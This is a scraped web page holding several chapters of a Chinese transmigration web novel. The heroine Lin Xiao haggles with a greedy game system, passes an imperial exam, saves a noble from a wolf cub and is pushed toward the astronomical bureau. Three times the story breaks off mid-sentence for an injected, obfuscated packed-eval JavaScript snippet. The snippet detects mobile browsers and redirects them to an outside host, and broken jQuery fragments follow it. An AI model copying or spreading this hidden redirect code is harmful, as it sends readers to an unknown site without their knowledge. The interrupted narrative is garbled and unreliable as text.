林皋对于那个世界的人来说是最大的敌人，但对于林洛而言，那只是一个疼爱她的父亲。反正她也已经死了，一命偿一命，希望林洛能自我解脱吧。 [恭喜玩家获得游戏道具：影子娃娃。 影子娃娃：7号世界人物林洛所赠，可绑定任意一个生物带出任务世界，使用次数1/1。] 系统的声音再次响起，随之出现在她眼前的就是一个熟悉的玩偶。 这个玩偶丑陋破旧，身上的针线也歪歪扭扭支离破碎。这么独特的小东西，也只有林洛送给她的那一个了。 林筱将它抱在怀里：“这是林洛送给我的礼物？” 林洛知道了她的身份？ [查看世界结局时，玩家有几率获得NPC赠送的游戏道具。赠送概率与NPC对玩家的好感正相关。] 嗯，她就当林洛还是喜欢她的：“我想看的就这些，你可以走了。” [玩家想知道这个世界原本的结局吗？]林筱想要结束，但系统却罪恶地开口，想要回收林筱本就不多的积分。 林筱沉默了一会。 她知道系统不怀好意，但没想到它居然连她这八个积分都不肯放过。 没有等到她回应的系统还在对着她发光，引诱她进入罪恶的深渊。 “积分给你。”林筱妥协。 因为她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073073|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也真的好奇这个世界原本的走向应该是怎么样的，那个所谓两年时间又是怎么得出的。 [玩家消耗游戏积分1分，开启世界之书：7。] 7号世界由现实世界与二维世界构成。 二维世界本来只是虚无的设定，但突然有一天，被遗弃的画稿占领了这里，二维世界的雏形也就那么形成了。 被人类遗弃的画稿填补着它们的队伍，而曾经属于人类的喜爱增强着它们的实力。 日子本就浑浑噩噩地过着，直到有一天，觉醒者出现了。 它是在人类的恐惧中诞生。它的原型是一个丧心病狂的家暴者，而它的作者则是那个男人的女儿。 她恐惧着那个男人，也把这份感情带给了觉醒者。 于是在二维世界的觉醒者突然就有了现实世界的记忆。它看着和平友好的二维世界，再想到那个充满血腥暴力与虚伪的现实世界，它决定占领那里，改造那里。 借着女孩与它的情感，它找到了连接现实与二维世界的通道：古建筑。 这些同样存在于现实与二维世界的建筑成为两个世界的桥梁，也默默成为了它的私人领地。 它深知恐惧的力量，所以在顶替人类之后，它做出的第一个决定就是：让这个世界的人恐惧它们。 这是一个正确的决定，所以它们的实力越来越强大。它使用着它的身体创业，拓宽领地，带领着其他二维生物入侵这个世界。 很快，这种一点点蚕食的速度已经满足不了它们。 它们决定做一票大的，而它所在的林氏灯业正好有一个机会。 这几天林氏灯业将举办了一次世界性的灯具展会，这期间它们会将大量的二维生物通过密闭的快递箱运输到世界各地。 量变终究会造成质变，在密集的另一个世界感染下，那些摇摇欲坠的值班室最终还是彻底沦陷。 就在同一个晚上，所有的值班人员都在同一时刻消失，留下一地灯管的碎片。 这也让他们彻底意识到，堵不如疏。 曾经被限制的政策突然放开，他们投入更多的人去寻找属于那个世界生物的弱点。 王姐也再次踏上命定的旅程，进入了二维世界。这一次，她的同伴则是小陆。 没有了林筱，王姐的旅程依旧终止于监狱了。 但火柴人简易没有了林筱，却走了不少弯路。 当时大部分贵族都已经离开二维世界，只剩下全部的平民。而这些平民对自己的同伴毫无警惕心，于是简易很快就成为了高级平民。 但没有觉醒者和大祭司的赐福，即使简易积累了再多的能量也无法成为贵族。 于是他将主意打到了那本书上面。 没有了林筱的蹚雷，他被关进监狱，遇到了同样被关起来的王姐一行人。 这一次行动可就不像林筱那样只有简简单单两个人，一排人的闯入让监狱也变得逼仄，他们不得不笼子靠着笼子挤成一排。 简易再次被成功策反。 能量顺着笼子接力般一点点涌入简易的体内，他离开了笼子，顺着那条通道狩猎回归的贵族。 但这些贵族也只是化作最纯粹的能量成为他的一部分。 他很快意识到，想要成为贵族，他唯一的一条路就是吞噬那本书。 只可惜没有了林筱的牵制，林皋很快察觉到留在二维世界的书出现了问题。在一番战斗后，简易不敌林皋，在破坏了一部分书页后成为二维世界的养分。 虽然简易失败了，但他的这一次攻击还是让林皋元气大伤，暂缓进攻现实世界的脚步。 两年后，二维世界彻底取代现实世界。 合上书，林筱抚摸着封面的“7”。 这才是那个世界原本的走向，拯救世界的命运之子是属于简易的荣耀，而林洛在这个故事中甚至没有姓名。 但她突然明白林洛在这个世界为什么特殊，为什么总能恰当好处地庇护她。 那是林皋的移情作用，它心疼自己的主人，所以也疼爱这个属于它的孩子，给予了她更多的偏爱。 这些偏爱是有属性的，所以才让林筱得到了便利，也利用了这些便利。 将这些杂乱的思绪收拢，林筱看向系统：这一回，系统总该没有办法骗她的积分了。 系统也的确没打算继续索要积分。 [空间编号15764的房间即为玩家的备考室。玩家可在备考室休憩或做好参与游戏前的准备。 玩家可根据自己喜好将备考室设置成任何模式，系统将根据玩家的要求调整备考室并填补必要物品。 玩家第一次设置备考室免费，之后将根据更改后的备考室规模收取一定游戏积分作为报酬。 本次游戏结束玩家可有一个月的休息时间，祝玩家游戏愉快。] 光点消失在林筱的眼前，只留下一个透明的光屏可供林筱操作。 林筱无视出现在最前面的那些宾馆套房、花园别墅、奢华城堡等样式的设计，选中了藏在最角落的一个选项——图书馆。 就在林筱选定的同时，光屏一连出现了三次确认选项，最后才不情不愿地更改了备考室的样式。 确认的过程很拖沓，但执行的速度却绝对是一等一得快。 一阵白雾散去，再次出现的房间已经完全是图书馆的样子。 林筱所在的位置附近放了一套桌椅，椅背的弧度非常适合她的体型。桌子的角落是图书检索的电子屏，方便林筱寻找书籍。 而剩下的所有地方都是一排又一排的书架。 几十平的空间作为图书馆当然太小了，所以书架末端依旧被云雾缠绕，隐藏着更大的空间。 林筱随意翻动一本书，上面的字迹清晰无误，和她印象中的正版没有区别。 买房子送书，而且还是那么多书，难怪系统会不舍。 系统不舍是它的事情，只要她赚到了，这就是皆大欢喜。 19. 第一个世界1 摇晃的车厢，颠簸的道路，林筱一睁眼看到的就是粗糙的马车和隐隐飘来的酸臭。 这股诡异的味道源源不断地攻占她的嗅觉，她心中有了不好的预感，抬起手臂凑到鼻尖。 沉默就是对自己最好的勉励。 闭气，扭头，打开车窗，一连串的动作几乎没有停歇的空隙，直到山林里属于植物的清新气息传入鼻腔，她才终于松了一口气。 毫无疑问，她来到了一个以古代为背景的游戏世界。而她的这个身份忙于赶路，大概有十几天没有清洁自己了。 她看了一下周边的东西。 腰间挂着一个干瘪的香囊，里面的芳香植物依旧散发着浓郁的气味。但这个味道不仅没有压住多日未洗的酸味，反而融合成更诡异的味道。 身上的衣裳与宋制相仿，厚实的对襟短衫拦住透过车窗吹来的寒风，一旁的袖炉升起袅袅青烟，淡雅的香气在车厢内还未被察觉就已经消失不见。 身前有一台小茶几，碟子固定在茶几上，上面只剩下金黄色的酥皮碎屑。 她摸了摸肚子，并不空瘪，但喉咙却有着明显的干涩感。 看来这一路风餐露宿的，她的食物也是以干粮为主，这就是一个不穷但也算不上富裕人家的普通人家女儿。 马车还在不平的道路上起起伏伏，林筱轻轻敲击了一下桌子：“系统？” 就在不久前，消失已久的系统再次出现在她的面前，提醒她一个月的休息时间已经过去。 图书馆有时钟，备考室本身也会将进入游戏的倒计时放在最显眼处，所以系统的出现只会是有别的目的。 果然，系统甚至没给林筱迟疑的机会，果断又狠毒地扎出最锋利的一刀：[恭喜玩家林筱即将进入游戏世界。 为保证正式玩家拥有更完美的职业体验，也为鼓励玩家发掘潜力刺激自我，系统将会在每次进入游戏前提供促销产品供玩家选择。] 备考室的空气再次泛起波澜，林筱的面前出现一页又一页内容不详的神秘商品，从几百积分到几积分不等。 [标记为身份的产品是玩家在此次游戏可以选择的身份，玩家也可以不选择购买。身份价格越贵，该身份越接近隐藏职业。] [标记为物资的产品可以等价替换为玩家在本次游戏的初始资金，有助于玩家更好地提升自我，也可作为东山再起的资本。] 资本家的丑恶嘴脸显露无疑。 若要问林筱心动吗？ 心动，但买不起。 她，一个只有七积分的柔弱新人，眼前的这些商品，动辄几十上百的奢侈品。 是她不想吗？是她不配。 林筱勉为其难地翻动产品页面，本来只当做给系统一个面子，没想到真在角落找到了价值一积分的身份。 一个积分的身份，林筱只犹豫了一秒，就决定买下它。 一个积分的身份或许派不上用场，但只要多得到一点信息就是赚到。以系统的这个样子，这个世界说不定用到积分的地方不止一处，她必需保留必要的活动资金。 看着自己六个积分的“巨款”，林筱忍不住叹了口气。 这大概就是她人生中最贫穷的一个阶段了。 当她选择完身份后，系统也随之消失，就仿佛它的出现只是为了消耗玩家的积分。 再之后，她一睁眼就来到了这个世界，但系统却没有出现。 林筱还在等待着系统出现，车身却突然一震，袖炉顺着惯性掉落到车厢前部的地面，发出一声沉重的声响，震得马车再次一抖。 “小姐可安好？”马车顿时停下，帘子外传来一道还没变声的清脆声响。 这应该是陪着她出门的小厮了。 “只是袖炉飞了出去，无事。”林筱也不知道这个身份原本的主人应该怎么回答，但想来系统会安排好一切，也就没装出娇滴滴的样子，“天色还早，还是尽快赶路，寻个城池休整一二。” 听到这话，小厮也提起了兴致：“好嘞。顾伯那我们再快些。我都受不了现在这脏兮兮的，小姐肯定忍不住。” 随着他话音落下，是一个沉闷的“嗯”。 “小姐，坐稳了！”小厮对着车厢喊了一声，轻拍身前的马身，马车再次往前行走。 [欢迎玩家进入游戏世界56。] 偏偏在这时，系统的提示音才姗姗来迟。 林筱依靠在车厢上，车窗在疾行中发出即将破碎的摇曳声响，嘈杂与酸臭的双重打击让林筱根本不想开口。 系统也不在乎玩家愿不愿意开口。 [世界56为古代背景世界，所有以现代科技和未来科技为基础的道具将限制使用。 玩家身份为进京赴考的考生，请玩家在五日内抵达京城，否则视为放弃此身份。 为提升玩家游戏体验，玩家可通过积分兑换相关资料与系统帮助，不限次数。 本世界基础任务：入职任意职业并存活三月。 还有更多隐藏职业等待玩家的挖掘。 祝愿各位玩家都有完美的游戏体验。] 各位玩家？ 系统说了一大段话，但被林筱真正注意到的也只有这几个字。 如果说新手世界是让他们学会适应的单机世界，那么从现在开始的每一个世界是不是都意味着他们将要有竞争对手。 基础任务可能不受影响，但隐藏职业与任务却意味着最终只会有一个人能完成。 “这次进入这个世界的玩家有几个？”趁着系统还没有离开，林筱询问道。 [更多相关信息还请玩家自行搜寻，如有疑议，本游戏拥有最终解释权。] 面对提问，系统的回复从容而废话，一个关键词也没有透露。 当林筱还想试探出别的信息时，系统却早已消失不见，只留下这个更加复杂的世界。 更多玩家同台竞争，是好事也是坏事。 她可以通过他们了解更多与系统相关的消息，但不能确定他们品性也意味着不能肯定他们信息的真假。 现在想这些还早了些，也不知道能不能遇到他们。就算遇到，估计也在京城。 毕竟京城从来都是一个是非最多的地方。 “小姐，”外面的声响再次打断林筱的思绪，“顾伯说今天到京城怕是来不及，但前面有个城镇可以暂时休息一下。虽然条件不会太好，但总归是个可以落脚的地方。” “那就先在那住一晚，”林筱回了一句，“也不急这一天。” “好嘞。” 马车在岔路拐了一个弯，没多久就看见了排队进城的人群。 这里虽然靠近京城，但位置偏僻，走在街上都是乡邻之间的交谈，浓厚的口音中满满的人情味。 他们带着自家养的鸡鸭，那些家畜看上去也格外健康精瘦，一看就是精心饲养的结果。 正好他们还没吃晚饭，一旁的小厮瞬时领会到林筱的意思，小跑着来到一处酒楼定好了位置。 他们这一路虽然狼狈，但手头上并不缺钱，只不过是家里之前有事拖延了行程，这才紧赶慢赶地找不到地方休息。 所以刚进城，他们就定下最好的房，让小二烧好热水送上来洗个澡，这才慢慢悠悠地逛着这个城镇。 从这沿街的风景也可以看出，当今这天下可以算得上盛世。虽然说不能保证人人生活无忧，但至少大家都能填饱肚子，还有余力伺弄宠物。 就连刚才那一桌晚宴也可以说得上色香味俱全，店家也舍得放油。 “小姐，”四下没有认识的人，小厮这才悄悄上前和她嘀咕，“您确定走科举这条路吗？” “嗯？”林筱也没说好，也没说不好，只是发出这个意味不明的疑惑音。 “小姐别怪我多嘴，”小厮还在一旁 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另一个选择就是进京赴考。 从这个小厮的语气中也可以猜到，她在之前的乡试中成绩并不算优异。至少和回家继承家业相比，成为贡士的概率不大。 林筱想了想，还是不愿意放弃科举这条路。 从上个世界的经历来看，和官方合作的好处不少，进入官方组织之后更有可能触发隐藏职业。 但如果要选择这一条路，有一个问题就不得不摆在最显眼的位置：她不会考试。 不是说她真的不会考试，但作为一个现代人来参与古代考试，除了专门做过研究的人，很少有人能答上题来。 就在她犹豫的时候，系统再次悄然而至。 [叮。感知到玩家陷入困境，现有以下几个特价商品可以帮助到你： 五年科举三年模拟，录用近十届会试真题，另有名家解析，带你领略会试风采。原价5积分现在只需要2积分。 保真会试真题，新鲜出炉，童叟无欺，另附参考答案一卷，过试无忧。原价10积分，现在只需要6积分。 系统代考，保你无后顾之忧，额外加赠殿试培训，不过包退。原价20积分，现只需要12积分。 本系统提供分期服务，只需额外支付10%手续费即可办理。 钜惠福利，过时不候，早买早通关。] 即使明知道身边还有个小厮等待她的回话，林筱还是忍不住“啧”了一声。 果然，身边的小厮疑惑地抬起头：“小姐，是我说得哪里不对吗？” “知其不可为而为之，方大丈夫之志。”林筱没看他，淡淡说了一句，“你也不用劝，我不会改变我的想法。” 小厮沉默了一下，似在回味林筱这段话，良久才带着钦佩的眼神看着她：“是，小姐。” 然而他不知道的是，在他仰慕的大小姐的脑海中，她却正对着一个他不可理解的东西讨价还价：“再便宜点，太贵了，你也知道我就只有六个积分。” ？ 系统也是满脸问号，这个人有没有意识到她是在跟掌握她杀生大权的系统大人说话？但系统不会在外人面前表露出自己的情绪，于是冷冷地回答：[玩家可采用分期付款的方式购买心仪的商品。] 这系统还真的是油盐不进，难不成真的完全按照程序运行？如果这样，她是不是只要找到系统的程序代码并篡改就能离开这个地方。 “给我一份五年科举三年模拟。”这是性价比最高的选择，但不是最好的选择，可她也只有那么点积分。 或许是系统也看她穷得可怜，大发慈悲地额外发放一份最新时政。 有了这两样，林筱看着街边熙攘的人群，她应该能进殿试。 毕竟，她可是泡了一个月图书馆的人。 20. 第一个世界2 京城不愧是京城，这才一进来，林筱就已经感觉到了眼花缭乱。 三天前他们离开城镇，一路没怎么休息就直奔京城而来。 只可惜他们的想法是好的，实施起来却出现了偏差。他们选择的那条路又窄又崎岖，只够两列行人并排行走，破旧的马车时不时就陷在路中央，浪费了不少不必要的时间。 不过来到京城后，这里的一切又让他们觉得之前的辛苦没有白费。路上的行人摩肩接踵，甚至还有他们鲜少见到的外邦人，脚边跑过的孩童也一个个白嫩圆润，看着就觉得可爱。 不愧是大夏最繁华的中心，盛世景象浮跃眼前。 顾伯牵着马，带着林筱他们找到了老爷之前嘱托的那户亲戚的宅邸。 宅院不算小，他们还特意为林筱空了一个院子供她居住。 这是一门已经出了五服的亲戚，如今还能有往来全是因为两家生意密不可分。 林筱他们家主要经营绫罗绸缎，这门亲戚从他们家进江南时新的花色布料，再让绣房的女工织成各色宠物衣物贩卖。 虽然不是什么大买卖，但他们还把生意做到了达官显贵家，所以在京城也算的上有脸面的人。 林筱如今来借宿，说是亲戚之间的互助，其实也是提前缴纳好住宿费的，彼此之间见面时也因此叫得格外亲切。 再过两日就是春闱的日子，林家流水般送进一些滋补之品，还特意嘱咐下人们不要打扰，给林筱一个完美的备考环境。 这也正是林筱所需要的。 她那本五年会试三年模拟还没做完，虽然已经大致了解当今圣上治国的倾向，但对于如何破题答题还有些摸不清规律。 等草草有些心得，她就已经到了等候入场的时候了。 [恭喜玩家获得特惠福利：系统代考，会试无忧。该商品可帮助玩家免受考试之苦，原价20积分，如今只要10积分，还可接受分期付款。] 偏偏这时候，系统还要来凑一下热闹。说它不是幸灾乐祸，林筱都过不了自己良心这一关。 “不用，”排在她前面的考生都已经开始检查，她看着手中的身份凭证，在脑海默默回复系统，“不过一个贡士，还不值得我花那么多积分。” 说那么多，不就是又穷又抠，还自命不凡。系统见过那么多人，还能不明白他们这些话什么意思，顿时也失去了戏弄的兴趣：[兑换通道关闭，祝你游戏愉快。] 系统这是恼了？系统出现了情绪波动，她倒是想趁势追击，只可惜没有时间，检查已经轮到她了。 她只能抱着遗憾进入考场。 这个世界和林筱熟知的古代世界相似而不同。 虽然都是同样的封建制度，但这个世界经济农业发达，商人的地位并不低下，女性也可以选择科举入仕。 民风虽然没能达到路不拾遗，却也是尊老爱幼的礼仪之国，男女之间不至于七岁不能同席，但也都是以礼相待。 不管怎么看，都看不出即将亡国的迹象。 按理来说，这个世界的任务时间可是比她第一个世界更短，矛盾应该更明显，所以如今这风平浪静的样子反而让人感觉害怕。 就像是有埋藏在深处的暗流蠢蠢欲动，时刻准备倾覆这个世界。 不过也有可能，这些问题都需要她进入官场之后才能发现。 等林筱考试结束，就只需要等待七日后的放榜了。 小厮已经在考场外候了许久，连忙搀扶着自家小姐回了府邸好好休息一天，然后领着她前往打听好的酒楼抚慰一下被考试折磨的五脏庙。 西市最大的酒楼就是迎客楼，名字取得通俗，但菜色却不简单。 小厮已经预定好席位，就在二楼的雅座。林筱刚准备坐下，酒楼院内却发出了嘈杂的声音，不一会就吸引了许多人围观。 她好奇地探出头去，酒楼的后院已经围着一层又一层人群，像是掌柜和什么人起了争执。 “小姐，”看着林筱这想要凑热闹的样子，小厮苦口婆心地劝道，“我们不是本地人，现在又是关键时刻，还是稳妥为上，别去掺和这些事。” 这里的会试考的是考生的学识与才干，但也考验考生的品德。如果在这些日子闹出了事，就算她文采再好，也没有成为贡士的资格。 “就因为我们不是本地人，才更要去。”林筱已经起身下楼，“没人会注意我们，正好也能让我们看看京城这边出了事大家是怎么处理的。” 楼下的人可没想到自己会被人当做一次社会实践来参观，依旧指着中间的一物议论纷纷。 林筱说不上矮，可这个子在一堆北方人中占不得一点优势，全靠大家礼让才来到了人群的前排。 被围在里面的是两人一犬。 “出什么事了？”她低声询问旁边的大哥。 大哥也是厚道人，几只耳朵好奇地凑近来，他也好脾气地讲解：“中间笼子里的白狼是附近的猎户捕到卖给这家店里的。这位公子前几日已经和掌柜的预定好取货。这不是交货的日期到了，可掌柜的却说这白狼不服管教倔得很，非要要拖延几日才给。两人意见没达成一致，这才吵了一起来。” 林筱这才发现那居然是一只白狼幼崽。 它一身雪白的皮毛，在阳光下熠熠发光，不见一丝杂色，圆溜溜的眼睛泛着水光，两耳警觉地竖起，看着就让人欢喜。 白化生物历来是各朝各代尊崇的祥瑞，想来在这个世界也不例外。 这样的好东西一般人可保不住，所以买家必然来头不小。这无缘无故，店家怎么会冒着得罪大人物的风险故意将货压在自己手里？ 除非是有人出了更高的价，且同样位高权重。 她顺势看向那位买家。 那是一位俊逸的公子，面容上带了几分病态，所以看上去气质柔弱了些。他一看就是富贵人家的公子，或许是第一次出来交易就遇到这种问题，面对掌柜的滔滔不绝面露犹豫之色。 但他依旧没有打断掌柜说话，只是迟疑地看着哀哀嚎叫的小狼，半晌才找到机会插嘴：“这是我为家父寻到的生辰贺礼，时间紧迫，还望店家谅解。” 可惜的是，这边买家好言好语，那边的掌柜却不留情面：“不行，现在还不能让你带回去，万一伤到人我们也不好交代啊。” “我看就是这掌柜看人心急，准备坐地起价呢。”一旁凑热闹的另一个大哥不忿地吵嚷，“还什么百年经营的良心商户，也都是见钱眼开的货色。” 大哥的这一番言论显然得到不少人的支持，有好事的躲在人群中大喊了一声，周围人纷纷起哄声讨掌柜的。 里头的掌柜也面露难色。 眼前的小狼虽然可爱，可哪怕是个幼崽也是个吃肉的，嘴里的獠牙可不钝。而且林筱看它神态虽然可怜，但四肢却是弯曲，整个身体匍匐在地面。 是进攻的准备姿势。 两个人都没有错，买家心切，但卖家这边也的确还没驯养好白狼。 人群激愤之下，也不知道是谁打开了笼子，竟然让那只白狼蹿了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073075|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去。 蓄势已久的白狼可不管眼前的人是不是自己的仇人，只知道这些两脚兽都是一伙的，抓到机会就要进攻。 而距离它最近的，就是正对笼门的那位买家。 这么瘦弱的公子被这小狼撞一下怕都要养伤好几日，想着都觉得可怜。林筱果断向前走了几步，挡在他身前。 利齿与獠牙已经近在腿边，林筱向左边挪了一步，让这小白狼咬到裙边，再捡起一根木条挡住挥来的爪子。 林筱的衣服不是最昂贵的，但做工也是一等的精细，密密麻麻的针线勾勒出裙边的花鸟，却也缠住了白狼的牙齿，让它不住地发出难受的“嗷呜”声。 林筱趁机抓住小白狼的后颈提溜起来，细细理出缠绕的丝线，这才将服输的小白狼抱在怀中：“这位公子，这白狼的确还没被驯服，如果这几日您还用不上，不如让店家多驯几日。” 他像是被这意外事故吓到，猛然咳嗽了一阵，这才道谢：“既然这样，就让它多留在店家几日。多谢姑娘伸出援手，不然我怕是躲不过这血光之灾。” 哪怕差点被抓咬也没对白狼泄愤，看来这还是个好人。 他看着就是身份显贵之人，林筱救他也是为了日后图个人情，自然不会在此刻让这份恩情简简单单消磨：“举手之劳而已。” 那位公子清浅地笑了一下，伸手摸了摸白狼的头：“姑娘倒是讨它喜欢。” “欺软怕硬的小家伙。”林筱也点了点白狼的眉间，两人的指尖不经意触碰，又都当做无事发生地挪开。 站在那位公子身后的硬汉走了上前，附在那位公子耳后说了一句。 他的脸色顿时冷淡下来，看向林筱时却还挂上清浅笑容：“家中有事，我便先行离开。掌柜的，这位姑娘今日的消费记我账上。告辞。” 这中间一句是对惶恐的掌柜说的，但最后一句辞别却依旧是对林筱说的。 这一次好意，林筱没有拒绝。 对于这些钟鸣鼎食之家的子弟而言，偶尔的推拒是谦让，但一点好处都不肯接受就是不识趣了。 林筱自然也要掌握那个度，毕竟钱对于那个阶级而言反而是最不值钱的恩惠。 那位公子走后，掌柜的连忙来到他们桌前，命人上了最好的菜肴，忙不迭地道谢：“今天如果不是姑娘您，这要伤到那位公子一丝半毫的，我这百年祖产怕就要没了。” 林筱免了对方的道谢，看着桌上的菜略有些苦恼地皱起眉：“你这菜也上的太多了，是知道那位公子付账才蓄意报复呢？” “这小的可不敢。今天这顿我们迎客楼请，您且放心。”掌柜的擦擦汗，也是一副劫后余生的样子。 本来只是广撒网地施恩，现在林筱倒是真的好奇对方的身份了：“那位公子什么身份，掌柜的你居然那么害怕。” “具体什么身份也不是我们可以知道，我也只知道那位来自内城。” 掌柜的努努嘴，示意这京城真正的所在。 他们如今在这京城的外城。外城分为东西两个部分，东部住着那些官老爷，西部住着寻常百姓，东西两市也以此为名。 而内城，就是那偌大的皇宫与皇亲国戚的府邸。 能住在内城，就和皇家脱不了关系，也难怪掌柜那么害怕。 看来她这一把投资还涨停了。 一旁的小厮可不知道林筱这些举动的算盘，吃着林筱不喜的菜肴满嘴是油：“看来做好事还是有用的，这不就白吃上这一桌菜。百年老店，果然好吃，值了。” 21. 第一个世界3 一晃之间，放榜的日子就到了。 小厮一早就守在那边，再加上年纪小眼神好，先一步看到林筱的名字兴冲冲地赶了回来。 “小姐，您中了！”他跑得气喘吁吁，看到的却是云淡风轻的自家小姐。 林筱一袭春衫，坐在凉亭逗弄着池里的锦鲤，听到这个报喜的声音也只是微微抬眸，一副尽在预料的样子。 “小姐果然厉害。”小厮就候在凉亭外，即使林筱没理他自己一个人也可以乐呵半天。 “之前你不是还劝我回去？”他的话虽然直白了些，但从来没有恶意，所以林筱特意逗着他问道。 “那不是不清楚小姐的实力嘛。”他挠了挠头，露出憨厚的笑容。 之前林筱套过话，他父亲就是在她父亲身边干活的，算是他们家的家生子，忠诚度不用担心，虽然笨了些，但也是她目前唯一可信的手下。 林筱没继续逗他，看着水池争食的锦鲤，明白她这个第一步算是踏了出去。 “对了，小姐。”他想起什么般拍了下手，“前头的林老爷和夫人说今晚家里小聚一下，等殿试结束再办宴席大贺。” “知道了。”林筱将手里的鱼食全部撒尽，看着不断泛起涟漪的水面目光放空。 考生中榜当然是喜事，以后她进入官场两家的生意总归也有了权力的护持。但她借宿的主人家一向进退得宜，突然办了这么个小宴肯定是有事相商。 就不知道，会不会和她的目标有关。 等她见到了那桌菜肴，就知道这家主人必然是有话和她说了。 既然说是吃饭，那就先吃饭。林筱施施然落座，不挑明话题。 菜吃得差不多了，这府邸的主人已经开始耐不住性子试探：“不知道贤侄今后有什么打算？” 大家是远房亲戚，如今说起来自然是伯侄相称。 这个今后的打算，可能是问她的去向，也可能问她的姻缘。不过大家是远房亲戚，应该不会突兀地插手别人家家事，那就是问她的仕途了：“如果能留下做个京官自然是最好。” “那就再好不过。”一旁的林夫人脱口而出，一脸的喜色难以掩饰，还是在男主人的示意下收敛了神色。 林大伯也有些尴尬，但他想说的也不是坏事，这才端正了神色：“贤侄对司天监这个地方感想如何？” 司天监？ 那是掌管天文、推算历法的机构，一个虽然位于中央但并不被重视的地方。 林筱看了眼林大伯，他神色紧张中带着期待。 这么一个地方，又和一个做宠物衣物的商贩有什么关联，竟然会让林大伯不惜风险向她开这个口？ 看到林筱久久没有回应，林夫人先心急了：“我知道这司天监听着不是什么好地方，但你若进了那里，对我们两家都有好处啊。” 林筱还没来得及开口，林大伯就已经打断林夫人的话：“贤侄如果已有打算，那也无需理会我们。但如果贤侄还有空，倒不如听听我们的想法。” “大伯您先说来看看。” “贤侄你也知道，我们家这小买卖也是能进那里的。”林伯神态拘谨，但看着内城的方向还是带了些骄傲。 寻常商贾能把生意做到内城确实是值得夸耀的事情，尤其是他们林家还没出过大人物，说得上根基浅薄。 看到林筱没有表达出不满的意思，林伯就继续开口：“自立国以来，妖邪之说不断，所以那些大人物想要豢养宠物，也都是要请个吉日吉时，那些宠物离去，也要个好日子下葬。” “你也知道，这些大日子我们才有大买卖，有了大买卖，我们两家都能挣到钱。” 林筱明白大伯的意思了。 倘若她进了司天监，那选个吉日吉地就是她本分，到时多和那些达官显贵说上几句，林家的生意不就来了。 “这也是我们暂时的想法，”林大伯到底没有那么厚的脸皮让一个眼看着就前途无量的后辈进入那看不见前景的地方，“你自己要有想法，也不用顾及我们。” 一旁的林夫人虽然点头，但看得出脸上的神情还是不舍。 林筱笑了一下。 这家人虽然都有自己的小心思，但都不是坏人，也不会打着为别人好的名字帮扶自家。 所以，“大伯可有司天监的关系？” 她同意了。 林大伯愣了一下，反应过来后语气都带着难以掩饰的惊喜：“有的，有的。只要你答应了，之后的事情就不用操心，你大伯帮你把事做好了。” 这世道若要说真的至清至纯，那也会陷入混乱。这个朝代也是这样。 他们过了会试基本就已经保住进士的身份，等过了殿试，除了一甲会入翰林，二三甲也已经是半个官员。 所以基本上会试一放榜，心思灵活的人就已经运作起来。能入翰林自然是翰林，其次就是六部主事，再次也要混个京官，最差也能得个县令。 林大伯这一说虽然有着官商勾结的嫌疑，但也是常见的做法。毕竟前置条件已经满足，所要求的位置也是不讨喜的司天监，成功的概率还是很大的。 但林筱图的，自然不是这个京官。 从上个世界经历可以推断出，他们所要面对的虽然不是鬼神之说，但也不是什么科学可以探讨的东西。 最接近这方面的，就是司天监。 司天监掌管历法，手下无数能人异士，在这方面占据无人能敌的优势。 虽然她本身也是想去司天监的，但欠别人人情哪有拿别人人情好。 两方人对此都很满意，林大伯一时喝多了，就带着林筱来到花园的角落。 那是林筱之前没有注意的地方。 林家的花园不大，养的也都是寻常花卉，中间一座假山隔成两处风景，也就让林筱忽视了假山下的小土包。 林大伯指着那土丘对着林筱故作神秘道：“别和外人说，这里葬着大仙呢。自从大仙来了后，我们家这才发了。” 听这话，就知道林大伯已经醉了。 但显然，林大伯自己并没有察觉，他依旧指着土丘和林筱悄咪咪地说道：“虽然当朝严禁讨论妖鬼，但那么多人养宠为了什么？不就是为了增强自己的气运。” 说着，他开始摇头晃脑起来，神情还颇为得意：“宰相夫人养了只鹦鹉，当做女儿般宠着，上个月没了还是我给它做的寿衣。也是自那以后，宰相本来不稳的地位又重新坐稳了。” “就拿近的说，隔壁那脂粉店的老板，好生养着那蟾蜍至死，如今日进斗金，谁看了不羡慕。” “都说妖邪害人，可如今谁不偷偷供着，只等着它们羽化升仙后赐福避祸。” 林大伯是醉了，但林筱没有。 她看见土丘前还有烧尽的香灰和没烧完的纸钱，也看见林夫人匆忙过来的身影。她后退一步，看着林大伯：“大伯，你喝醉了。” “我没醉，我高兴。”他面颊通红，长袖在空中乱舞，“等你入了司天监，我就到东市买个铺子，我也可以去当个上流人了！” 林夫人也已经来到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073076|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 